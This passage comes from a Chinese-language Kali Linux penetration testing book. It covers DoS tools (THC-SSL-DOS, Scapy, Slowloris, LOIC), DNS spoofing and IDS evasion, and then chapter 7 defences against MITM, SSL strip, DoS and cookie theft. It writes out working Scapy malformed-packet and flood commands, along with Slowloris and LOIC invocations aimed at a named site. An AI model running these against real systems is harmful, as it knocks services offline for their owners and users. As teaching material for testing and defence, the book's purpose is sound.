Kali Linux包含多个可用于应用层DoS攻击的漏洞利用工具，在前面章节中都介绍过，比如Metasploit。还有，在第3章中我们介绍过一个流行的DoS协议攻击工具Scapy。这里有一些其他执行DoS攻击的Kali Linux自带工具。


 为了测试DoS攻击，你可以用www.upordown.org
 来查看某个网站是否可用。






6.7.1　THC-SSL-DOS




安全套接层
 （SSL，Secure Socket Layer）协议用于保护因特网上的连接和交易。建立安全SSL连接时服务器端的处理能力要比客户端大15倍才行。THC-SSL-DOS就是利用这种不对称属性来对服务器造成过载，直到其拒绝为合法用户提供任何服务。这种攻击利用SSL的安全重新协商（Secure Re-negotiation）功能来通过单个TCP连接触发数以千计的重新协商过程。它称作SSL耗尽攻击
 （SSL-Exhaustion Attack）。这种方法的优势在于客户端对SSL握手的处理能力遥遥领先，也就是说通过普通网络连接的一台普通笔记本电脑可以搞垮一个Web应用服务器。这是一个已知漏洞，并且在写作本书时尚未出现有效的解决方案。

要访问THC-SSL-DOS，浏览至Stress Testing
 > Web Stress Testing
 > thc-ssl-dos
 。它会弹出一个终端窗口，并显示THC-SSL-DOS的主页。要针对某个目标运行THC-SSL-DOS，输入：



thc-ssl-dos [选项] 受害者ip地址> 端口> and --accept



端口>受害者ip地址>




 你必须在命令中带上--accept
 ，否则你会得到如下的错误消息：




THC-SSL-DOS运行起来后，你会看到一系列有趣而冗长的输出，表明它正在启动并在利用握手过程。在下面的第一个截图中，我们会展示一个没有部署SSL的网站，因此它会显示连接错误。第二个截图中显示了握手成功，最终它会对目标进行拒绝服务攻击。切记，你只能对有权限测试的IP地址或站点进行尝试。这些攻击可以对网站或Web应用造成严重的破坏：









6.7.2　Scapy



Scapy是最流行的拒绝服务攻击工具之一。Scapy是一个计算机网络数据包伪造工具，由Philippe Biondi用Python开发。Scapy可以伪造或破译数据包、将它们发送出去、抓取数据包，并将请求和应答匹配起来。除此之外，它还能完成其他任务，比如扫描、跟踪路由、探测、单元检测、攻击和网络探索。

一种常见的方法是在Kali中篡改TCP数据包后将其通过Scapy发送出去。我们可以在终端窗口中输入scapy
 来启动Scapy。一旦Scapy运行起来，你就可以输入命令语法了：




在下面的截图中，我们会用Scapy来向测试服务器发送格式有误的TCP数据包。在这个用例中，测试服务器的IP地址为10.0.0.1
 。它可能是一台路由器或是一个Web服务器。此外，我们还要制定发送到目的地的数据包数目。在这个例子中，我们想通过这条命令发送2000
 个数据包：



send(IP(dst="10.0.0.1",ttl=0)/TCP(),iface="eth0",count=2000)







在前面的命令行中，我们通过Kali服务器上的eth0
 网卡向目的地地址10.0.0.1
 发送了2000
 个数据包。此外，我们给目标发送了值为0的生存周期。从TCP协议的角度看，这个值基本是不可能的。不过这里我们就是要尝试用错误的TTL值来迷惑Web服务器。现实中，攻击者会发送数以百万计的这种数据包。这里大家需要注意，状况良好的系统也有可能会因一个损坏的或是格式有误的数据包而崩溃或出错。我们可以调整攻击中需要用到的数据包数目或其他参数：




下面是Scapy常用的另外一些攻击场景。


错误的IP版本




send(IP(dst="10.0.0.1", src="10.20.30.40", version=0)/TCP(dport="www"), iface="eth0", count=2000)








错误的TCP校验和




send(IP(dst="10.0.0.1")/TCP(chksum=0x5555),iface="eth0",count=2000)








错误的TCP标记（所有标记位都清零了并且SEQ# == 0）




send(IP(dst="10.0.0.1")/TCP(flags="",seq=555),iface="eth0",  count=2000)








错误的TCP标记（所有标记位都置位了）




send(IP(dst="10.0.0.1")/TCP(flags=0x0ff),iface="eth0",count=2000)








只置位FIN




send(IP(dst="10.0.0.1")/TCP(flags="F"),iface="eth0",count=2000)








首部长度 > L2长度




send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=15L)/TCP(dport="www"), iface="eth0", count=2000)








首部长度过短




send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=2L)/TCP(dport="www"), iface="eth0", count=2000)








ICMP洪水




send(IP(dst="10.0.0.1")/ICMP(),iface="eth0",count=2000)








IP错误校验和




send(IP(dst="10.0.0.1", src="10.20.30.40", chksum=0x5500)/TCP(dport="www"), iface="eth0", count=2000)








IP分片




send(IP(dst="10.0.0.1", src="10.20.30.40", frag=1)/TCP(dport="www"), iface="eth0", count=2000)








IP长度 > L2长度




send(IP(dst="10.0.0.1", src="10.20.30.40", ihl=5L, len=80)/TCP(dport="www"), iface="eth0", count=2000)








IP源地址 == 目标地址




send(IP(dst="10.0.0.1", src="10.0.0.1")/TCP(dport="www"), iface="eth0", count=2000)








L2长度 >> IP长度




send(IP(dst="10.0.0.1",len=32)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)



send(IP(dst="10.0.0.1",len=32)/UDP(dport=80,len=48)/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)



send(IP(dst="10.0.0.1",len=32)/ICMP()/Raw(load="bla-bla-bla-bla-bla-bla-bla-bla"),iface="eth0",count=2000)








没有L4




send(IP(dst="10.0.0.1", src="10.20.30.40"), iface="eth0", count=2000)








SYN和FIN置位




send(IP(dst="10.0.0.1")/TCP(flags="FS"),iface="eth0",count=2000)








TCP首部长度 > L2长度




send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=15L), iface="eth0", count=2000)








TCP首部长度过短（长度 < 5）




send(IP(dst="10.0.0.1", src="10.20.30.40")/TCP(dport="www", dataofs=1L), iface="eth0", count=2000)









6.7.3　Slowloris






Slowloris是一款可用于DoS攻击的低带宽HTTP客户端。Slowloris的独特之处在于它攻击目标时采用的并非是常用的洪水技术。Slowloris通过发送部分（不完整）HTTP请求来保持连接处于打开状态。它会每隔一定间隔就发送数百个后续分片的头，以保持连接不被关闭。这种做法会逐渐吞噬掉目标上的可用资源，使其无法响应合法请求。高流量网站可能要花费很长时间才能释放出可用的套接字。在Slowloris可以使用这些套接字之前，其他用户必须先完成他们的请求。尽管如此，Slowloris最终依然会消耗尽所有可用的套接字，搞垮受害者网站的服务。

Slowloris针对的是采用线程化运算方式的服务器，也就是说它可以限制运行的线程的数目。这类服务器包括Apache 1.x、Apache 2.x、dhttpd、GoAhead等。

Slowloris并未在Kali Linux中默认安装。你可以从http://ckers.org/slowloris
 下载Slowloris。

要运行Slowloris，下载该.pl脚本，并打开一个命令行终端。切换至该脚本所在目录，输入：



perl slowloris.pl







它会调起主界面。要针对某个目标运行Slowloris，输入同样的命令，后跟-dns
 和你的目标。举个例子，要攻击www.thesecurityblogger.com
 ，输入：



perl slowloris.pl -dns thesecurityblogger.com










你会看到Slowloris用掉了可用的套接字，最终将目标搞垮：




如果Slowloris起到了它的作用，那么目标最终会不可用：





 DoS示例攻击我们选了www.thesecurityblogger.com
 。但在实际操作中，请不要用这个站点来做尝试。




6.8　低轨道离子加农炮（LOIC）




低轨道离子加农炮（LOIC，Low Orbit Ion Cannon）
 是一个网络压力测试工具。也就是说，设计它的初衷就是测试目标能够应对多大的流量，以便计划未来的资源配置。这个工具也启发了类似的软件，如JavaScript LOIC。它允许用户直接在Web浏览器中进行压力测试。

这款工具因黑客组织Anonymous利用它对多个网站（包括一些非常知名的公共实体）进行DDoS攻击而广为人知，有些法律观点认为LOIC跟对网站进行了数千次访问没什么差别。不过美国有些法律推进组织认为LOIC的使用违反了计算机安全和诈骗法案。

要安装LOIC，打开一个终端窗口，输入：



apt-get update



aptitude install git-core monodevelop



apt-get install mono-gmcs













完成上述操作后，通过cd ~/Desktop
 命令切换到桌面目录，用如下命令创建一个名为loic的目录：



mkdir loic










用cd loic
 命令切换进该目录，输入如下命令：



wget https://raw.github.com/nicolargo/loicinstaller/ master/loic.sh










下一步，用如下命令修改该脚本的访问权限：



chmod 777 loic.sh










最后一步是通过如下命令运行该脚本：



./loic.sh install










运行脚本时如果没有提示任何错误信息，那么你就可以更新loic
 了。你可以用如下命令更新：



./loic/sh update










最终，你可以启动LOIC了。可以用如下命令来启动：



./loic.sh run













LOIC的用法非常简洁明了。你可以选择是要用人工模式还是IRC模式。我们会在后面这个例子中选择人工模式。

下一步，你可以选择洪水攻击的目标URL或IP地址。在下面的例子中我们会用IP地址127.0.0.1
 。LOIC提供了一些攻击选项用来修改TCP或UDP的设置。

在准备好发起攻击后，点击IMMA CHARGIN MAH LAZER
 按钮。LOIC会显示攻击正在进行中。点击Stop Flooding
 按钮来停止攻击：







6.9　其他工具



Kali Linux提供了许多对基于Web的攻击有用的工具。这里会介绍Kali Linux中带有的其他一些本章中尚未做介绍的工具。这些工具可用于远程渗透测试。



6.9.1　DNSChef






DNSChef是一款为渗透测试人员和恶意软件分析人员准备的DNS代理。DNS代理也被称作“伪造DNS（Fake DNS）”，是一款用于应用网络流量分析及其他场景的工具。域名系统（DNS，Domain Name System）
 是针对计算机、服务、或任何连接到因特网或私有网的资源的分布式命名系统。通过提供伪造DNS地址，我们可以将流量重定向到其他需要的位置。

举个例子，我们可以用伪造DNS来将发送到badguy.com的请求指向一台本地机器，终止请求或是进行劫持，而不是指向位于因特网上其他位置的真实主机。要让这种方法工作起来，你需要能直接访问和修改某台域名服务器上的DNS记录，或是对真实的DNS记录进行投毒，这样流量最终到达的是Kali Linux服务器。DNSChef工具用起来很方便。不过，在这种DNS攻击方法中，要将流量导向Kali Linux还是有难度的。



6.9.2　SniffJoke






SniffJoke会对你的TCP连接进行透明处理，并能在传送过程中制造延迟场景、对数据包进行修改，并注入伪造的数据包。这个过程使被动窃听技术如IDS/IPS或嗅探工具很难正确拦截这部分流量。它的工作原理是利用嗅探工具预定应该记录的内容跟客户端实际发送的内容之间的差异，不断变化重组数据包的算法来绕开窃听。下面的两个框图说明了窃听两个用户之间的流量时不用和使用SniffJoke的情况。









6.9.3　Siege



Siege是一款为Web开发人员设计的HTTP/HTTPS压力测试工具，用来测量高压情况下他们代码的性能。Siege提供了多线程HTTP负载测试和基准测试功能，它会根据可配置的并发和模仿用户的数目来对Web服务器进行测试。Siege有回归、因特网仿真和暴力等工作模式。

你可以在Stress Testing
 > Network Stress Testing
 > Siege
 下面找到：




输入如下命令运行Siege：



siege [选项] 目标url>



目标url>



下面的截图显示的是针对www.thesecurityblogger.com
 运行Siege的情况。默认的用户数是15，如截图中所示。在停止Siege测试时，该工具会提供一个压力测试结果报告，如下所示：









6.9.4　Inundator



Inundator是一款绕过入侵检测系统（IDS，Instrusion Detection System）和入侵防御系统（IPS，Instrusion Prevention System）的工具，它会对这些系统的日志文件发动洪水攻击。具体原理是你先对目标进行一些假阳性洪水攻击，这样你就能够从响应和取证的角度来隐藏真实攻击。Inundator还可用于测试安全报告工具如SIEM和IDS/IPS的警报系统的有效性。



6.9.5　TCPReplay



TCPReplay会用前面抓到的以libpcap
 格式存储的数据流来测试各式各样的网络设备。TCPReplay可以对流量进行归类，确定是客户端的还是服务器端的，重写2层、3层、4层的首部，并将数据流在网络中重放或是传输到其他设备，如交换机、路由器、防火墙以及IDS/IPS。TCPReplay支持单网卡和双网卡模式来测试嗅探和内联设备。

简单地说，TCPReplay可以抓取客户端和服务器之间的数据流，然后在网络中的任何位置回放。




6.10　小结



本章讨论完了Kali Linux 1.0中提供的可对Web应用服务器执行渗透测试的各种方法。到了这里，相信读者应该已经知道如何对目标进行调查，找出目标中的漏洞，以及跟主机和客户端之间交互相关的所有内容、漏洞利用和中断服务了。本书只是对Kali Linux中可用的各种工具做了简要介绍。不过，除了Kali Linux，你还要将许多其他工具加入到你的渗透测试兵器库中。Kali Linux主要的贡献在于提供原生工具。不过，顶尖渗透测试人员还会利用Kali之外的一些工具，比如基于定制脚本和工具的0-Day攻击。我们建议你深入研究一下本书中介绍的攻击方法并且尝试多个工具，积累专业渗透测试的经验。

本章着重介绍了远程找出和利用因特网攻击相关的漏洞。我们介绍了浏览器利用攻击、代理攻击和密码收集。最后，我们还介绍了中断服务的各种方法，这些方法可用于对Web应用进行压力测试，以及衡量目标面对DoS攻击到底有多脆弱。

下一章我们会来个180度的大转弯，看看如何用Kali Linux 1.0中可用的工具来防护Web应用。

 




第 7 章　防御对策



到本章为止，我们已经介绍了如何用Kali Linux给目标造成危害。现在可以换位思考一下，看看作为防御者，该如何抵御本书介绍的攻击方法，以及其他形式的攻击危害。防护面向因特网的资源非常困难，因为它是暴露给整个世界的，同时还要兼顾运营需求，牺牲一部分安全来保证不影响受信用户的服务。在整个生命周期中（从提出概念到终止服务），安全都是绝关键的，而不是有些人认为的只是个事后补救的问题。这不仅可以减少服务所面临的威胁，还可以降低修复网络攻击事件的成本。

通常，人们都知道坏人会攻击因特网上的系统，不管是什么类型的业务。作为防御性的措施，公司会信任针对这些网络威胁的解决方案。但这种策略的问题在于第三方服务提供商不会是攻击的受害者，不会因网络攻击事件而蒙受损失。第三方服务提供商确实能提供一定的保护，不过，他们对超出自己产品控制范围之外的任何危害都无需承担责任。造成这些损失的原因很可能是未做更新、配置错误或是其他可能造成缺口的各种情况。这样看来，第三方服务提供商也不可靠。此外，许多公司会用多个第三方服务提供商的方案，但它们之间并未共享安全情报，这使得攻击者反复绕过服务提供商成为可能。出于这些及其他原因，我们推荐客户通过加固系统以降低威胁，从而主动担起保护重要资产的责任。

Kali Linux是领先的渗透测试工具，可以用来检验哪些系统易受攻击。我们推荐你通过对网络资产进行渗透测试，以便在恶意个体攻击你之前找出漏洞。但我们不推荐你用这些手段攻击其他目标。这里我们看一下孙子在《孙子兵法》中是怎么说的：

知己知彼，百战不殆；不知彼而知己，一胜一负；不知彼，不知己，每战必殆。

我们相信这些基本理念是正确的；你可以通过Kali Linux来了解自己，了解自己的薄弱环节。

这种方法的优势是你知道它会发生什么，你可以采用极端措施来避免触发警报。通常，黑客们不会冒险暴露自己，因此他们在攻击时可选的方式会减少。偷窃很考验耐心，同时也要求保持对目标的最小接触，还需要大量的计划。至于在恶意攻击者投入更多时间和资源攻入你的系统前，你要在安全上投入多少时间和资源才能保证安全，完全取决于你。本书作者最喜欢说的是：“以防万一。”

本章将会介绍使用Kali Linux来对Web应用进行常见漏洞审查的不同方法，以及其他加固网络的最佳方式。我们会介绍安全基线、补丁管理、密码策略，以及如何对前几章介绍的攻击方法进行防御。本章还会专门提供一节来着重介绍如何在调查取证过程中使用Kali Linux。在发现Web应用或其他资产已经遭侵害后，取证非常重要，它可以用来避免未来的负面影响。




7.1　测试你的防御系统



如在前面的介绍中所言，加固你的防御系统的最佳途径是以找出薄弱环节为目标对安全管控设施进行攻击。在为网络安全防御系统制定测试策略时，你需要考虑如下这些关键理念。




	采用黑帽、白帽还是灰帽方法？

	复制一个系统来进行测试还是在实际系统上直接测试？

	渗透测试会带来什么潜在风险？

	应该通知到哪些人？

	主要目的是测试威胁的检测和响应还是找出漏洞？

	是否有需要遵从的标准？



先看一下制定安全验证计划的过程。我们需要先知道自己的安全基线，这样才能知道要针对什么进行验证。



7.1.1　安全基线

 1




1

 这里调整了作者原来的用词，这里着重介绍的还是安全基线。——译者注


业界专家最喜欢问的一个问题是你对安全的最低可接受等级是什么。许多企业都必须向他们所在行业或是政府制定的标准看齐。例如，任何接受支付的系统都必须遵从支付卡行业数据安全标准（PCI DSS，Payment Card Industry Data Security Standard）
 ，医疗环境必须符合健康保险便利和责任法案（HIPAA，Health Insurance Portability and Accountability Act）
 。常见的标准，如我们在第8章
 中介绍的那些，通常也是展现渗透测试服务价值的商业驱动力因素。

在标准之外，建立安全基线的一个好的起点就是审查其他机构是怎么保证他们系统的安全的。作为针对美国客户的安全咨询师，我们会将美国政府对敏感信息的安全处理作为基线安全的样板。多数位于美国的企业都更倾向于采用跟白宫类似的安全标准。同样的概念可用于其他国家的IT标准、特定组织的安全最佳方式或是推荐的军方安全管控。还有一些企业出版的安全标准的最佳方式是由第三方服务提供商和业界领导者，如国际标准化组织（ISO）一起制定的。

让我们看看连接美国政府所管控网络的安全基线。


 你的安全基线应该是环境中最低安全等级。最佳方式是对系统进行超出基线的安全加固，因为许多文档化的安全基线由于受较早出版日期、资助方和其他因素的影响，都很有限，



7.1.2　STIG




安全技术实施指南（STIG，Security TEchnical Implementation Guide）
 是针对标准化的安全安装和计算机软硬件维护的方法论。这一术语是由美国国防信息系统局（DISA，Defense Information Systems Agency）
 创造的。该局负责主持草拟支持美国国防部（DoD，Department of Defense）
 的配置文档。安全技术实施指南包括建议的管理流程以及贯穿资产全生命周期的安全管控。

能说明STIG的益处的一个例子是桌面计算机的配置。许多操作系统并非天生就是安全的，因此不法分子很容易攻入。STIG描述了如何最大程度地避免基于网络的攻击以及如何在攻击者已能访问设备时阻止他访问系统。STIG还描述了维护的流程，如软件更新和漏洞补丁。

STIG是加强操作系统、网络设备和应用安全的绝佳指南。你可以从http://www.stigviewer.com/stigs
 下载STIG指南。你会发现STIG文档包含有关加固各种系统的一步步教程，包括Web服务器。此外，STIG指南也是对系统进行配置使其满足若干强制标准的第一步。对于美国联邦政府雇员来说，STIG在美国国防部和其他政府组织控制的网络中是强制要求的。


 还有许多其他资源可以用来找出安全标准化模板，如互联网安全中心（CIS，Center for Internet Security）
 和思科网络基础保护（NFP， Network Foundation Protection）
 。



7.1.3　补丁管理



随着目标性攻击和0-Day漏洞减小了从漏洞纰漏到攻击者完成开发漏洞利用的时间窗口，安全经理越来越有责任了解他们IT环境中的各种资产，以及这些系统的补丁等级。补丁管理是一个持续的过程，只有当我们了解了何时补丁才能就绪、何时应用补丁按优先级排列、何时基于业务需要进行验证以及已知漏洞无补丁可用时如何响应，补丁管理才算成功。这个概念同样适用于系统以及软件的内部应用，例如插件。




补丁管理只是更大范围的漏洞生命周期中的一环。第一步是找出漏洞，这一步可以通过第三方服务提供商的更新或服务完成，从定期扫描到坚实的渗透测试都可能都要涉及。我们应该制定一个策略来解释不同等级的扫描应该多久进行一次以及谁负责查看已发现的威胁。建立有关多久进行一次漏洞扫描的基线的一个比较好的出发点是确定你必须遵从什么强制标准，因为许多都会包含有关内部和外部漏洞扫描的字眼。

补丁管理的第二步是对识别为有漏洞的系统进行响应。正如我们在第1章
 中介绍的那样，有漏洞并不代表它就有风险了，除非我们通过渗透测试或其他方法验证了该漏洞确实可以被利用。对一个漏洞进行安全保护可能只需要打一次补丁或做一次升级。不过，有些漏洞可能需要耗费更多的时间和人力来修复。在这些场景中我们就需要对风险和修复漏洞的投入做一些计算。

补丁管理的最后一步是根据漏洞对业务运营的影响来规划打补丁的安排。这一点非常关键，因为有许多被攻击的系统如果在被恶意方找出漏洞之前就打了补丁，那就会比较安全。我们发现许多客户给补丁管理预留的维护窗口都是以月为基础的，或是更长时间，这样在很长一段时间内，系统漏洞窗口都会暴露在外面，很容易被攻击。最佳方法是将计算跟标记为有漏洞的系统相关联的风险以及当威胁对业务运营的风险达到一定水平时调整时间窗口的权限等职责交给信息保障证专家。

补丁管理是帮助你免受本书中介绍的各种威胁的最佳防御对策略之一。你需要确保定期回顾你的组织是如何应对补丁管理的，以此来避免因本可以防护的漏洞而成为受害者。这条规则适用于所有受管理的资产，包括服务器和Web应用。



7.1.4　密码策略



总的来说，具备控制可能结果能力的密码策略通常会给密码强度带来负面效果。撇开密码策略不说，基于人的本性，用户也会通过重复字符、可预测的行为（如用12345来扩展密码的长度以满足长度要求）或其他方式来尽可能地简化密码。而且，用户通常不会主动修改密码，直到系统强制要求他改密码。出于这些考虑，密码策略应该遵循如下指导原则：




	密码过90天就会自动过期；

	不允许用最近5个密码中的任何一个作为新密码；

	强制要求密码必须多于12个字符；

	可以使用任何字符，如特殊字符；

	强制要求至少有一个大写字母，一个数字和一个特殊字符；

	警告或拒绝使用重复字符串如12345或asdfg，避免暴力枚举攻击。




 计算机的处理能力一直在不断演进，也就是说，破解12个字符的密码很快就会变得很容易。2013年春季发表的一篇文章说，一组黑客破解了16 449个经过加密的散列化16位字符密码中的14 800个。在本书即将出版时，这还只是一个特例，不过，对未来的黑客来说这会是很常见的场景。你可以考虑将密码的推荐长度设成一个可变目标。

本书的两位作者都是Steve Gibson
 开发的密码生成器的粉丝。该密码生成器是生成随机密码的一个安全途径。Steve Gibson
 开发的安全随机密码生成器可以在位于https://www.grc.com/passwords.htm
 的Gibson研究中心
 找到。


 许多网站和Web应用被攻破都是因为Web开发者采取的是不够安全的协议。Web开发者应该采用强加密来存储用户密码和数据。密码应该实施散列和加盐等技术以便降低被盗或数据丢失的风险。

你可以用本书第3章
 和第4章
 中介绍的密码破解工具来评估系统中所采用的密码强度。推荐的工具有John the Ripper、Johnny、Hashcat、oclHashcat和Ophcrack。Crunch和Hashcat也可以生成用于验证密码策略强度的密码列表。


 有一些网站，如Crackstation，会提供预生成的流行密码列表。你可以用这些列表来测试密码和策略的强度。




7.2　构建测试镜像环境



在对系统进行基于推荐安全设置的测试前，在检查漏洞或是通过漏洞利用来检验易受攻击系统前，你很有必要根据测试用途对目标系统进行克隆生成一个测试环境，而不是直接在真实系统中进行测试。最佳方式是复制所有一切，包括从托管Web应用服务的硬件到所有内容，因为漏洞可能出现在任何技术层。在克隆环境中测试可以给渗透测试人员提供最大程度的自由，测试人员可以执行任意程度的攻击而不必担心对运营活动造成负面影响。尽管许多人都无法完全镜像真实环境，但构建一个具备同等功能的虚拟环境通常还是可行的。



7.2.1　HTTrack



HTTrack是一款免费的离线浏览器工具。HTTrack允许你从因特网上将站点下载到一个本地目录中，并生成所有目录，从服务器上抓取HTML文本、图片以及其他文件，并存储到你的计算机上。你可以一个链接一个链接地浏览克隆的网站，并对其进行漏洞测试。HTTrack是适用于简单网站的一款极简工具。它不会复制动态内容，也不会复制网站的中间件，如数据库。因此，它并不是对所有渗透测试环境都适用。


 如果你要对一个网站进行全方位测试，需要用其他软件来克隆目标。该软件必须能抓取中间件和动态内容，并且支持配置可能需要用到的目标系统的管理员访问权限。

在写作本书时，HTTrack不再是Kali Linux预装工具中的一部分。要安装HTTrack，打开一个终端窗口，输入apt-get install httrack
 。等到安装完成后，你就可以启动HTTrack了。打开一个终端窗口，输入httrack
 。

它会提示你输入项目名、存放网站的路径（默认路径为root/websites/）以及要克隆目标的URL。HTTrack提供了一些选项来控制克隆目标，如下面截图所示。还有一些其他可选的问题用来定义通配符和递归层级。我们选择第二个选项。在你回答完问题后，选择Y
 来对目标进行克隆。




HTTrack会开始克隆目标以及所有相关的链接。它需要一定的时间才能完成，具体取决于目标网站的大小。下面的截图显示了HTTrack克隆www.thesecurityblogger.com
 的过程。




切换到指定存放克隆网站的目录，你就能开始测试了。






7.2.2　其他克隆工具



Kali Linux中还包含其他一些网站克隆工具。同样，这些工具不可以复制动态内容，也不可以复制网站中间件部分，如数据库。因此，它们并不是适用于所有渗透测试环境。




	
WebCopier
 　这是一款克隆网站用于离线评估（如渗透测试）的工具。

	
w3mir
 　这是一款全功能HTTP复制和镜像工具。w3mir的主要关注点是创建和维护某一个或几个远程www站点的本地可浏览副本。






7.3　防御中间人攻击



中间人攻击很难防御。这种攻击通常发生在受害人可控范围之外；处理得当的话，它甚至不会留下任何明显的可能引起受害者注意的痕迹。MITM通常只是更邪恶的攻击如SSL strip的前奏而已。防御MITM攻击的一种常见方式是保证网站使用的都是SSL/TLS 3.0。换句话说，确保网站都是通过HTTPS或HTTP安全连接访问。验证HTTPS并非我们看到的在绿色的地址栏上带上一个加锁的图标那么简单，因为攻击者可以向受害者提供证书服务，使得那个会话看上去像是安全的。

要正确验证一个HTTP会话，你需要检查该证书，看看证书的认证机构，这步额外的工作量将许多用户挡在了验证会话的安全性的门外，也使得这种攻击方式非常有效。




上面的截图显示的是由谷歌互联网认证机构（Google Internet Authority）
 颁发的Gmail SSL证书。听起来很权威，但谁是谷歌互联网认证机构
 呢？我能信任它么？它真的就是谷歌么？这个例子中，在谷歌互联网认证机构之上还有另外一个名为Equifax安全证书认证机构（Equifax Secure Certificate Authority）
 的证书认证机构。Equifax在颁发证书之前会做大量的检查和权衡，以确保该公司是一个有效的实体。在确认了是Equifax生成的这张证书后，我更有信心可以信任这张证书了。

归根结底，HTTPS构建在信任的概念之上。更严格地说，这个问题的本质是相信颁发该证书的证书认证机构是有效和合法的。在实验环境中，我们经常能看到各种触发Web浏览器警报的自签名证书。用户访问网站时经常会弹出一个烦人的弹出窗口，它作为证书认证机构不可信时发出警告的一个途径，表明可能存在MITM攻击的风险。




经过加密的虚拟专用网络（VPN，Virtual Private Network）
 是防止中间人攻击的另一个途径。在进行公网IP地址掩码运算时，将所有通过你的设备收发的数据都加密，经过加密的VPN可以保证你所在的网络不会被除了VPN提供商之外的任何人监测或记录。

VPN可以使用强认证方法，例如使用双重认证——它可以包含一重用户名和密码认证，外加其他某种认证方式，如一次性密码（OTP，One-time Password）
 、口令（Token），或是证书。这使得攻击者很难窃取其他用户建立VPN连接需要的认证信息。

VPN能够使用一些加密方法，如PPTP、L2TP、SSL和IPSEC。SSL和IPSEC类型的VPN相比其他类型的协议提供了更加安全的数据保护，因为它们采用了强加密协议。


 VPN可以由私有或公共组织提供。VPN提供商有可能可以检查你的数据流，他们是受信任的服务提供商。因此，在使用VPN这方面，信任问题依然非常重要。你必须先确认是否信任你的VPN服务提供商来帮你保护数据和隐私。你的数据安全掌握在服务提供商的手中。

其他也可用来防御MITM攻击的技术包括媒介访问控制安全（MACsec，Media Access Control Security）
 和802.1x。这些方法采用了先进的网络技术来提供源地址认证、数据完整性以及数据在网络中传送时的加密。这两种方法都要求保证数据兼容性，并且为了有效使用必须正确启用。



防御SSL strip



SSL strip（参见第3章
 ），它允许攻击者剥离网站的加密部分，查看受害者的会话信息，包括机密信息。通常SSL strip会跟其他类型的攻击连在一起，如中间人攻击等；也就是说，黑客会抓取所有数据流，并除去SSL加密部分，这样所有信息都会暴露在黑客的网络嗅探工具中。我们曾在本书第5章
 中介绍过相关内容。

要抵御SSL strip攻击，就要理解SSL strip是如何对受害者进行漏洞利用的。该攻击利用的是会将用户从未加密部分重定向到加密部分的网站。当你浏览http://www.facebook.com
 或http://www.gmai.com
 时，你会注意到你将被重定向到https://www.facebook.com
 和https://www.gmail.com
 。SSL strip会破坏重定向的过程，强制受害者使用该网站的非安全版本。而且，即使该站点没有非安全版本，但仍然有重定向，SSL strip也会截获该HTTP请求，将用户请求转发给HTTPS站点。当受害者这么做时，攻击者就能查看受害者的整个会话。

对抗SSL strip攻击的一种方法是保证网站没有非安全版本，并且他们不实现重定向功能。这么做可以阻止SSL strip攻击，因为这里不存在重定向的可能性。在受害者被攻击时，他们仅仅只是无法访问网站。站在现实生活中可实现的角度看，我们知道这是很难加强的部分。人们已经习惯了输入不安全的HTTP请求，并且在需要加强安全时自动重定向。还有，许多公司并不希望用户因为没有访问他们网站的安全版本而以为他们的网站宕机了。所以最好的保护SSL strip的方式是教育用户网络攻击是如何进行的，这样他们就能识别出来。

除此之外，我们前面列出的针对中间人攻击的防御方法也可用于防御SSL strip攻击。这么做有效的原因是SSL strip攻击依赖于中间人攻击才能进行。




7.4　防御拒绝服务攻击



大多数分布式拒绝服务攻击
 （DDoS，Distributed Denial of Service）或标准的拒绝服务攻击
 （DoS，Denial of Service）工具都是用C#或者Java写的开源工具。我们在第6章
 中演示过个人如何通过DoS工具来限制用户对线上资源的访问或是让网站宕机从而对它的业务造成毁灭性的影响。DDoS/DoS工具通常都会以Web应用压力测试工具的名称来宣传。尽管它们可能会被用于压力测试，但大多数情况下还是服务于恶意用途。

大多数情况下DDoS/DoS攻击要求搞垮网络基础设施硬件。防御DDoS/DoS攻击的常见做法之一是对要处理大量涌入的数据包的网络硬件进行配置，使其能检测到反常的行为和流量模式（Traffic Pattern）。检测到的恶意流量应该被自动过滤，从而避免服务被中断。第三方服务提供商所提供的工具，如负载均衡器和Web应用防火墙（WAF，Web Application Firewall），在侦测和防御试探容积和应用类型的攻击上效果非常显著。带有DoS侦测功能的安全工具也能识别网络、会话和应用层的流量，引入它就是为了降低可能存在于协议栈各层的DoS风险。

为了防御持续的、长时间的攻击，许多企业都转向DDoS应用服务提供商寻求帮助。DDoS应用服务提供商能够跟你的ISP一起协作，尝试通过将流向你们网络的DDoS流量从企业的服务器重定向到其他地方来组织DDoS攻击。他们是借助路由协议来实现这种防御的，比如BGP（边界网关协议，Border Gateway Protocol）和高级DNS技术。

许多DDoS/DoS攻击在实施时用的都是伪造的或无效的IP地址。网络管理员应该在他们连接到互联网的边界路由器上部署单播逆向路径转发
 （Unicast RPF，Unicast Reverse Path Forwarding）来作为针对发起DDoS时伪造IP源地址的保护机制。大家普遍认为单播逆向转发是连接到互联网的边界路由器实施防护的最佳方式，可以作为防御DDoS/DoS的一个很好的起点。在思科路由器上，单薄逆向转发是在网口层进行配置的。其他企业路由器生产商也在他们的路由器上提供了类似的功能。在配置好单播逆向转发后，来自非证实的IP地址或是无效IP地址的数据包会被丢掉。

另外一项识别DDoS/DoS流量的最新技术是利用Netflow结合传送访问控制列表来阻止流量进入网络，还能识别内网攻击。它会分析流量行为，在网络上观察到的任何恶意流量征兆都会触发警报，比如Smurf或泪滴攻击数据包。领先的DDoS/DoS解决方案都具备监测内部和外部DDoS/DoS威胁的能力。




7.5　防御针对cookie的攻击



我们在前面章节中介绍过，dookie劫持是攻击者窃取会话dookie的一种技术。如果你的网站运行的是SSL/TLS 3.0，dookie劫持就基本失效了。许多攻击者都组合使用中间人攻击或SSL strip攻击来绕过SSL/TLS；不过，确保你的Web应用只有安全的页面，也就意味着不提供HTTP到HTTPS的重定向，这样能够降低这类攻击的有效性。


 如果攻击者使用跨站脚本来向他们的服务器发送dookie，那么dookie劫持就能工作在SSL/TLS连接上很好的。开发者可以在dookie上设置Secure和HttpOnly标记降低这种风险。

针对Web应用安全一个常见错误是假定开发者对整个会话都做了安全加固，而实际上他们只是对该Web应用的身份认证页面做了安全加固。如果不是对整个会话都进行了安全加固的话，用户很有可能会被攻击。开发者必须保证他们的整个应用都支持基于SSL/TLS 3.0的安全的和经过加密的Web会话，从而避免被攻击。

